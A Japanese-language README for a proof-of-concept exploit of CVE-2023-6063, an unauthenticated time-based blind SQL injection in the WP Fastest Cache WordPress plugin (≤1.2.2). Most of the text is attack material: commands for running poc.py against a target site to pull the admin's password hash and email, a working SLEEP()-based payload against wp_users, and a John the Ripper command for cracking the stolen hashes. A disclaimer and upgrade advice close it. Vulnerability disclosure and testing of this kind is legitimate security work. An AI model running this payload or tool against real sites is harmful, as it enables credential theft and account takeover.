
CVE-2023-6063のProof on Concept、WP Fastest Cache ≤1.2.2における時間ベースのブラインドSQLインジェクション脆弱性。
CVE-2023-6063 の概念実証(PoC)です。WP Fastest Cache ≤1.2.2 における時間ベースのブラインドSQLインジェクションの脆弱性を利用し、wordpress_logged_in クッキーを悪用して wp_users テーブルからハッシュ化されたパスワード (user_pass) とメールアドレス (user_email) を抽出します。
このスクリプトが抽出するもの:
依存関係をインストールします(まだインストールしていない場合):
pip install -r requirements.txt
基本的な使い方:
python3 poc.py -u https://vulnerable-website.com --username admin --delay 5
全オプション:
-h, --help show this help message and exit
-u URL, --url URL Full URL to Wordpress for testing CVE-2023-6063
--username USERNAME Define a user to extract its hashed pass
-d DELAY, --delay DELAY
Time for wait web response default 5, minimum 2
-H HASH, --hash HASH Hash to verify against wp_users table, if the hash contains specials characters, please use single quotes -> '<hash>'
--domain DOMAIN Name of the domain for email validation
-c COOKIE, --cookie COOKIE
Specify a cookie name if it's different on your context
--status-code STATUS_CODE
Use a specific positive status code, default 200
--debug More verbosity
--just-hash Just extract hashed password
--just-email Just extract email value for a user
これは admin ユーザー向けのデモです。
https://github.com/user-attachments/assets/21ea643d-3b11-401f-813f-b85abdb05890
ハッシュ化されたパスワードが漏洩した場合、パスワードが脆弱であれば、john または hashcat を使用して PHPass アルゴリズムで復号します。
John の例:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=phpass
WordPress 用 WP Fastest Cache プラグイン (≤1.2.2) は、wordpress_logged_in クッキーを介した未認証のブラインドSQLインジェクションに対して脆弱です。攻撃者はこの欠陥を悪用し、SQL クエリで時間ベースの遅延 (SLEEP()) を利用して wp_users テーブルから機密データ(パスワードハッシュ、メールアドレスなど)を抽出できます。
" AND (IF((SELECT user_pass FROM wp_users WHERE user_login="admin") LIKE 'a%', SLEEP(5), 0))-- -
🚨 免責事項: この情報は、適切な許可を得た倫理的なセキュリティテストにのみ使用してください。無断での悪用は違法です。
WP Fastest Cache をバージョン >1.2.2 にアップグレードしてください。